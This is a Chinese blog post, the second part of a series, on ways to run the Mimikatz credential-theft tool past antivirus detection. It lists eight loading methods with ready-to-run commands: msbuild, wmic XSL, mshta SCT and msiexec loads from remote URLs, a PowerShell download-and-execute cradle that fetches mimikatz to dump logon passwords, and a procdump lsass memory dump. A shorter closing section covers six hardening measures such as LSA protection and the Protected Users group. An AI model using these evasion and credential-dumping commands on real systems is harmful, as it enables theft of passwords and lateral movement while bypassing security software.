【免杀篇】远控免杀专题(69)-Mimikatz的18种免杀姿势及防御策略(下)


当你的才华

还撑不起你的野心时

那你就应该静下心来学习


目录

方法11-用C#加载mimikatz(VT查杀率35/73)

方法12-JS加载mimikatz(VT查杀率22/59)

方法13-msiexec加载mimikatz(VT查杀率25/60)

方法14-白名单msbuild.exe加载(VT查杀率4/59)

方法15-JScript的xsl版(VT查杀率7/60)

方法16-jscript的sct版(VT查杀率23/59)

方法17-ReflectivePEInjection加载(VT查杀率32/57)

方法18-导出lsass进程离线读密码(VT查杀率0/72)

0x04 防御mimikatz的6种方法

方法1-WDigest禁用缓存

方法2-Debug 权限

方法3-LSA 保护

方法4-受限制的管理模式

方法5-禁用凭证缓存

方法6-受保护的用户组

0x05 小结


方法11-用C#加载mimikatz(VT查杀率35/73)

参考https://www.jianshu.com/p/12242d82b2df

参考`远控免杀专题(29)-C#加载shellcode免杀-5种方式(VT免杀率8-70):https://mp.weixin.qq.com/s/Kvhfb13d2_D6m-Bu9Darog

下载

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/katz.cs

将katz.cs放置C:\Windows\Microsoft.NET\Framework\v2.0.50727先powoershell执行

$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
$Content = [System.Convert]::FromBase64String($key)
Set-Content  key.snk -Value $Content -Encoding Byte

再cmd执行

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /r:System.EnterpriseServices.dll /out:katz.exe /keyfile:key.snk /unsafe katz.cs

C:\Windows\Microsoft.NET\Framework\v2.0.50727\regsvcs.exe katz.exe
​​​​​​运行时需要管理员权限,而且360会拦截

放行后可正常执行

virustotal.comkatz.exe查杀率为35/73,略惨。

方法12-JS加载mimikatz(VT查杀率22/59)

参考`远控免杀专题(38)-白名单Rundll32.exe执行payload(VT免杀率22-58):https://mp.weixin.qq.com/s/rm**AWC6HmcphozfEZhRGA

这个是大佬已经做好的payload,可以直接进行使用。

用DotNetToJScript实现

https://github.com/tyranid/DotNetToJScript

mimikatz

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.js

执行cscript mimikatz.js,360会拦截。

放行后可正常执行

virustotal.commimikatz.js查杀率为22/59。

方法13-msiexec加载mimikatz(VT查杀率25/60)

参考`远控免杀专题(35)-白名单Msiexec.exe执行payload(VT免杀率27-60):https://mp.weixin.qq.com/s/XPrBK1Yh5ggO-PeK85mqcg

使用Advanced Installer生成msi文件。

远程执行

msiexec.exe /passive /i https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.msi /norestart

本地执行

msiexec /passive /i Mimikatz.msi

virustotal.commimikatz.msi查杀率为25/60。

方法14-白名单msbuild.exe加载(VT查杀率4/59)

可参考之前的远控免杀专题(34)-白名单MSBuild.exe执行payload(VT免杀率4-57):https://mp.weixin.qq.com/s/1WEglPXm1Q5n6T-c4OhhXA

下载mimikatz.xml

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/executes-mimikatz.xml

执行

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe executes-mimikatz.xml

火绒会预警,360不会

virustotal.comexecutes-mimikatz.xml查杀率为4/59。

方法15-JScript的xsl版(VT查杀率7/60)

下载

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.xsl

本地加载

wmic os get /format:"mimikatz.xsl"

远程加载

wmic os get /format:"https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.xsl"

放行后

virustotal.commimikatz.xsl查杀率为7/60。

方法16-jscript的sct版(VT查杀率23/59)

参考远控免杀专题(37)-白名单Mshta.exe执行payload(VT免杀率26-58):https://mp.weixin.qq.com/s/oBr-syv2ef5IjeGFrs7sHg

下载

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.sct

执行

mshta.exe javascript:a=GetObject("script:https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/mimikatz.sct").Exec(); log coffee exit

360拦截依旧

virustotal.commimikatz.sct查杀率为23/59。

方法17-ReflectivePEInjection加载(VT查杀率32/57)

ReflectivePEInjection是powersploit里的比较有名的一个pe加载脚本,很好使。

下载

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-ReflectivePEInjection.ps1

执行

powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl "http://10.211.55.2/mimikatz/x64/mimikatz.exe" -ExeArgs "sekurlsa::logonpasswords" -ForceASLR

这个用什么来衡量免杀都不太合适,我就用Invoke-ReflectivePEInjection.ps1吧。在virustotal.comInvoke-ReflectivePEInjection.ps1查杀率为32/57。

方法18-导出lsass进程离线读密码(VT查杀率0/72)

windows有多款官方工具可以导出lsass进程的内存数据,比如procdump.exeSqlDumper.exeOut-Minidump.ps1等,我这里以procdump.exe为例进行演示。

procdump.exe工具是微软出品的工具,具有一定免杀效果。可以利用procdump把lsass进程的内存文件导出本地,再在本地利用mimikatz读取密码。

procdump.exe下载https://github.com/TideSec/BypassAntiVirus/tree/master/tools/mimikatz/procdump.exe

在目标机器执行下面命令,导出lsass.dmp

procdump.exe -accepteula -ma lsass.exe lsass.dmp

再使用mimikatz读取密码

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

需要注意的是从目标机器导出的lsass.dmp需要在相同系统下运行。

virustotal.comprocdump.exe查杀率为0/72,不过这种读取lsass的行为早就被各大杀软拦截了,所以这种静态查杀没有太大参考价值。

我们团队的诺言大佬写过一篇可绕过卡巴斯基获取hash的方法,可以看这个https://mp.weixin.qq.com/s/WLP1soWz-_BEouMxTHLbzg

0x04 防御mimikatz的6种方法

由于mimikatz工具太厉害,横向移动必备神器,所以针对mimikatz的加固方法也有不少,这里简单介绍几种。

方法1-WDigest禁用缓存

WDigest.dll是在Windows XP操作系统中引入的,当时这个协议设计出来是把明文密码存在lsass里为了http认证的。WDigest的问题是它将密码存储在内存中,并且无论是否使用它,都会将其存储在内存中。

默认在win2008之前是默认启用的。但是在win2008之后的系统上,默认是关闭的。如果在win2008之前的系统上打了KB2871997补丁,那么就可以去启用或者禁用WDigest。

KB2871997补丁下载地址:

Windows 7 x86 https://download.microsoft.com/download/9/8/7/9870AA0C-BA2F-4FD0-8F1C-F469CCA2C3FD/Windows6.1-KB2871997-v2-x86.msu

Windows 7 x64 https://download.microsoft.com/download/C/7/7/C77BDB45-54E4-485E-82EB-2F424113AA12/Windows6.1-KB2871997-v2-x64.msu

Windows Server 2008 R2 x64 Edition https://download.microsoft.com/download/E/E/6/EE61BDFF-E2EA-41A9-AC03-CEBC88972337/Windows6.1-KB2871997-v2-x64.msu

启用或者禁用WDigest修改注册表位置:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest

UseLogonCredential 值设置为 0, WDigest不把凭证缓存在内存,mimiktaz抓不到明文;UseLogonCredential 值设置为 1, WDigest把凭证缓存在内存,mimiktaz可以获取到明文。

在注册表中将UseLogonCredential 值设置为 0,或者使用命令

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

我们可以通过如下命令来测试修改是否生效:

reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential

如果成功,系统应该会返回如下内容:

注销后重新登录,发现mimikatz已经无法获取明文密码。

方法2-Debug 权限

Mimikatz在获取密码时需要有本地管理员权限,因为它需要与lsass进程所交互,需要有调试权限来调试进程,默认情况下本地管理员拥有调试权限,但是这个权限一般情况是很少用得到的,所以可以通过关闭debug权限的方法来防范Mimikatz。

删除上图的administrators组,这样管理员也没了debug权限。

注销后再执行mimiktaz,获取debug权限时发现报错。

方法3-LSA 保护

自Windows 8.1 开始为LSA提供了额外的保护(LSA Protection),以防止读取内存和不受保护的进程注入代码。保护模式要求所有加载到LSA的插件都必须使用Microsoft签名进行数字签名。 在LSA Protection保护模式下,mimikatz运行 sekurlsa::logonpasswords抓取密码会报错。

可以通过注册表开启LSA Protection,注册表位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa新建-DWORD(32)值,名称为 RunAsPPL,数值为 00000001,然后重启系统生效。

或者使用命令来完成

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d "00000001" /f

重启后再执行mimikatz.exe,发现已经无法获取密码。

此时其实可以从磁盘上的SAM读取凭据,执行

mimikatz # privilege::debug
mimikatz # token::whoami
mimikatz # token::elevate
mimikatz # lsadump::sam

方法4-受限制的管理模式

对于 Windows 2012 R2 和 Windows 8.1 之前的旧操作系统,需要先安装补丁KB2871997。

先在 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa 设置RunAsPPL为1然后在 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa 设置 DisableRestrictedAdmin为0 , DisableRestrictedAdminOutboundCreds为1。

然后需要在域中强制执行“对远程服务器的凭据限制委派”策略,以确保所有出站RDP会话都使用“RestrictedAdmin”模式,因此才不会泄露凭据。

具体位置是组策略:计算机配置--管理模板--系统--凭据分配--限制向远程服务器分配凭据,选择已启用,但是我的环境里选项一栏中没有看到Require Restricted Admin

在执行 lsadump::cache时报错,ERROR kuhl_m_lsadump_secrets0rCache:kull_m_registry_RegOpenKeyEx (SECURITY) 0x00000005该错误,是注册表增加了LSA保护所起到的。

方法5-禁用凭证缓存

Domain Cached Credentials 简称 DDC,也叫 mscache。有两个版本,XP/2003 年代的叫第一代,Vasta/2008 之后的是第二代。如果域控制器不可用,那么windows将检查缓存的最后一个密码hash值,这样为以后系统对用户进行身份验证。缓存位置如下:

HKEY_LOCAL_MACHINE\SECURITY\Cache

在组策略中设置禁用缓存

计算机配置--windows设置--安全设置--本地策略--安全选项 交互式登录:之前登录到缓存的次数(域控制器不可用时) 默认是10,设置为0

注销后再次执行mimikatz,没有读取到任何用户数据。

方法6-受保护的用户组

WindowsServer 2012及更高版本使用了引入了一个名为“Protected Users”的新安全组,其他系统需要安装 KB2871997 补丁才会有。

此组使域管理员能够保护本地管理员等有权限的用户,因为属于该组的任何帐户只能通过Kerberos对域进行身份验证。

这将有助于防止NTLS密码哈希值或LSAS中的纯文本凭据泄露给敏感帐户,这些帐户通常是攻击者的目标。

可以在“Active Directory用户和计算机”中找到“Protected Users”安全组。

在配置之前,使用mimikatz可读取明文密码。

可以通过执行以下PowerShell命令将帐户添加到“受保护的用户”组中:

Add-ADGroupMember –Identity 'Protected Users' –Members administrator

注销后再次执行mimikatz,已经看不到administrator用户的密码了。

0x05 小结

通过对mimikatz免杀的研究,也算是对之前的远控免杀专题文章进行了重温和实践,整理了几种能适用于任意exe文件的免杀方法,最起码以后看到杀软不会那么咬牙切齿了。

1、源码级免杀应该是效果比较好的,不过对编程能力、免杀经验要求比较高,不少大佬手头上都有私藏定制的全免杀的mimikatz,很多都是通过源码处理后再编译来免杀的。

2、通过修改资源、签名、pe优化修改等方式相对简单一些,不过免杀效果也差了一些,很多时候静态查杀能过,但行为查杀就废了。

3、针对powershell来加载或执行mimikatz时,免杀主要针对powershell脚本,免杀效果也很好,不过你在目标机器上怎么执行powershell而不触发杀软行为检测是个问题。

4、加载器的免杀效果整体算不错,当然donut是个例外,因为他开源而且知名度比较高,里面特征码被查杀的太厉害,如果稍微修改下源码再编译应该会好很多。

5、白名单执行大部分还是使用了将C#程序转为js的方法,静态免杀效果还不错,但白名单最尴尬的是远程调用时杀软都会拦截报警,在2008服务器上你用webshell调用任意程序最新的360都会拦截。

参考链接:

防御mimikatz抓取密码的方法:https://zhuanlan.zhihu.com/p/59337564

Bypass LSA Protection:https://xz.aliyun.com/t/6943

防御Mimikatz攻击的方法介:https://www.freebuf.com/articles/network/180869.html

九种姿势运行Mimikatz:https://cloud.tencent.com/developer/article/1171183

Mimikatz的多种攻击方式以及防御方式:http://blog.itpub.net/69946337/viewspace-2658825/

简单几步搞定Mimikatz无文件+免杀:https://www.jianshu.com/p/ed5074f8584b


虽然我们生活在阴沟里,但依然有人仰望星空!


猜你喜欢

转载自blog.csdn.net/God_XiangYu/article/details/106119566